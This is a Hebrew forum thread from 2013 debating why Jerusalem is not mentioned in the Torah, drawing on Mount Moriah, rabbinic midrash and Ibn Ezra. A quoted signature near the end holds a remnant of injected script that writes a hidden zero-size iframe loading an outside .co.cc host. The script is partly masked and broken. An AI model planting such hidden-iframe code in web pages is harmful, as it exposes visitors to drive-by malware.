|
|
| נשלח ב-4/8/2013 20:27 |
 |
| |
שוב, בזמן משה לא היה לירושלים שום קדושה ושום יתרון על כל מקום אחר, ומכיון שלא קרה שם שום דבר מיוחד לא ראה משה צורך להזכיר את ירושלים (או כל שם אחר שנקראה בו) בתורה..
|
|
|
|
| נשלח ב-4/8/2013 20:46 |
|
| |
כלומר אתה לא מקבל את דעת חז"ל כי העקדה היתה בירושליים-לא קרה בו שום דבר?
אשר יאמר היום בהר ה' יראה- זו לא ירושליים? הר המוריה זה לא ירושליים? למה? כי זה לא מתאים לך לתזה?
|
|
|
|
| נשלח ב-4/8/2013 20:57 |
|
| |
ירוחם לא ברור מה אתה רוצה, לא היה מה להזכיר את ירושלים בשום דבר שנוגע להוה, בבית אל יעקב הסתובב, גם בבאר שבע ובעוד מקומות. בירושלים לא היה מה להזכיר, אמנם לפי דברי הימים 'מוריה' הוא כינוי של ירושלים, ויש מקום לומר שהוא מקום העקדה, אבל באותו זמן קראו לו מוריה. ו'אשר יאמר היום בהר ה' יראה' זה לא ירושלים, אכן, תאר לעצמך, נשארו עוד אנשים שחושבים שהתורה ניתנה על ידי משה ולא על ידי יאשיהו. אפילו שזה לא מתאים לך לתזה.
|
|
|
|
| נשלח ב-4/8/2013 20:58 |
|
| |
ואם כבר יורדים לפרטים, מוריה הוא הר הבית ולא ירושלים, יבוס לא כלל את הר הבית.
|
|
|
|
| נשלח ב-4/8/2013 21:20 |
|
| |
אף פעם לא טענתי כי התורה ניתנה על ידי יאשיהו-- מאיפה אתה לוקח את ההבל הזה?
אבל למדתי ממך דבר חדש- הר המוריה זה לא בירושליים.
והאבן שיעקב שם מראשותיו- כן נקרא בית אל.
איפה למדת זאת- או שזו מחשבה מקורית?
|
|
|
|
| נשלח ב-4/8/2013 21:38 |
|
| |
| ירוחםשמ כתב: |  | כלומר אתה לא מקבל את דעת חז"ל כי העקדה היתה בירושליים-לא קרה בו שום דבר?
אשר יאמר היום בהר ה' יראה- זו לא ירושליים? הר המוריה זה לא ירושליים? למה? כי זה לא מתאים לך לתזה? |
|
העקדה לא היתה בירושלים, אלא באחד ההרים הסמוכים. הר המוריה מן הסתם היה סמוך לעיר "שלם", אבל מקום ריק ושומם לכשלעצמו.
אפילו אחרי שכבשו את ירושלים זה לא היה ממש חלק מהעיר אלא "פריפריה" ששם בנה יבוסי את הגורן שלו, העיר עצמה (עיר דוד) היתה בכלל דרומית משם..
תוקן על ידי אדם_ה1 ב- 04/08/2013 21:39:33
|
|
|
|
| נשלח ב-4/8/2013 21:39 |
|
| |
למה ירושלים?! - כל תקופה והמקום הנבחר 'לשכן שמו שם שלה'!
ראו פירוט
tora.us.fm/tnk1/kma/qjrim2/hmqom_ajr_yvxr1.html
|
|
|
|
|
| נשלח ב-4/8/2013 22:35 |
|
| |
ירוחם, כתבת 'אשר יאמר היום בהר ה' יראה זה ירושלים', זה יתכן רק אם התורה נכתבה עדיין בימי המלכים. כמובן שאין שום ערובה ושום מקור שהיה פתגם כזה בימי המלכים. ויתכן שהיה בימי מתן תורה וכל זמן אחר.
|
|
|
|
| נשלח ב-4/8/2013 22:44 |
|
| |
זה לא אני אמרתי אלא חזל- ואכן אתה יכול להוסיף את זה לפסוקים האחרים בתורה המדברים עד היום הזה.
כמו למשל הפסוק -והכנעני אז בארץ- שעל כך כותב ראב"ע והמשכיל בעת ההיא ידום, ועוד 12 פסוקים שהוא מציין. והרבה פסוקים שאחרים מציינים. אבל לא זה נושא האשכול.
|
|
|
|
| נשלח ב-5/8/2013 07:47 |
|
| |
נו טוף יערב לך ויבושם לך, אם זו הרמה של הראיות
|
|
|
|
| נשלח ב-5/8/2013 09:59 |
|
| |
לא אני צריך ראיות למה ירושליים לא הוזכרה בתורה. הראיה היא שלא הוזכרה.
אם התורה הזכירה בדיוק רב מבחינה גאוגרפית את הר גריזים והר עיבל מקום הברכות והקללות
באותה צורה היא היתה אמורה להזכיר את המקום אשר יבחר ה' אלוקיך לשכנו שם...
תוקן על ידי ירוחםשמ ב- 05/08/2013 10:41:51
|
|
|
|
| נשלח ב-5/8/2013 13:07 |
|
| |
באותה מידה יכל ה' לבחור לשכן את שמו במעלות תרשיחא. ישנן הרבה מקומות קצת יותר קדושים מאחרים (כגון בית-אל, גלגל ועוד) ובאמת השתמשו בהם למשכן, אבל דוד הוא זה שקבע את המקדש צמוד לעיר שקבע לבירתו...
|
|
|
|
| נשלח ב-5/8/2013 16:21 |
|
| |
אדם
נדמה לי לצערי כי אתה בכיוון הנכון בתשובה .
י.ל. - (שי"ר) טען כי לא בכדי התורה לא ניתנה בארץ ישראל. כי לעם ישראל יש קיום גם בלי הארץ. הוא יצא בשצף קצף נגד מגילת העצמאות בא כתוב בארץ-ישראל קם העם היהודי, בה עוצבה דמותו הרוחנית, הדתית והמדינית,- שקר שאג שקר
דמותו של העם עוצבה בגולה.
נראה לצערי כדבריך שהמקום יבחר בו ה'. הוא המקום בארץ ישראל שהעם יבחר להיות לו מקום קדוש.
כדבריך גלגל שילה בית אל בית עובת הגיתי ועוד. היו גם מקומות קדושים לשעתם.
ובאמת יש מחלוקת בין הראשונים עם קדושת ירושליים קדושת עולם,
|
|
|
|
| נשלח ב-5/8/2013 17:55 |
|
| |
הפשוט ביותר הוא שאכן לא נקבעה כלל ירושלים עד שהיא נבחרה בידי דוד. ולא הנביא בוחר אלא האדם, והנביא רק מאשר את הדברים.
וכן מצאתי במדרש.
כי אם אל המקום אשר יבחר ה אל-היכם מכל שבטיכם
דרוש על פני נביא.
יכול תמתין עד שיאמר לך נביא?
תלמוד לומר: לשכנו תדרשו ובאת שמה - דרוש ומצא ואחר כך יאמר לך נביא.
וכן אתה מוצא בדוד
שנאמר: זכור ה' לדוד את כל ענותו אשר נשבע לה' נדר לאביר יעקב אם אבא באהל ביתי אם אתן שנת לעיני עד אמצא מקום לה' משכנות לאביר יעקב
מנין שלא עשה אלא על פי נביא? שנאמר: ויבוא גד אל דוד ביום ההוא ויאמר לו: עלה הקם לה' מזבח בגורן ארונה היבוסי
ואומר: ויחל שלמה לבנות את בית ה' בירושלים בהר המוריה אשר נראה לדוד אביהו
(ספרי דברים מהדורת פינקלשטיין, עמ' 127-128)
***
כך ניתן להבין שיכלה להיות מחלוקת בין ממלכת ישראל ליהודה היכן המקום המתאים ביותר להקמת מקדש.
ויותר מכך: הדברים כמעט יכולים להתפרש שצריך שיהיה מקום מרכזי לפולחן, אבל יכול להיות שיהיה יותר מאחד, וכל מה שהכתוב בא לשלול הוא במות יחיד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-5/8/2013 18:12 |
|
| |
| מיימוני כתב: | |
ויותר מכך: הדברים כמעט יכולים להתפרש שצריך שיהיה מקום מרכזי לפולחן, אבל יכול להיות שיהיה יותר מאחד, וכל מה שהכתוב בא לשלול הוא במות יחיד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
איך אתה רואה את זה בפסוק כמו "כי אם אל המקום אשר יבחר ה אל-היכם מכל שבטיכם"?
אתה רוצה לומר שירבעם ובית דינו ידעו גם הם פרק בהלכות משחקי מילים פרושיים ("דרכי הסקה לוגית בשיטת גוט מורגן" על פי האינסטיטיוט הרם והנישא לכתבי הקודש באוניברסיטת רמת הגן) האהובים עליכם כל כך?
|
|
|
|
|
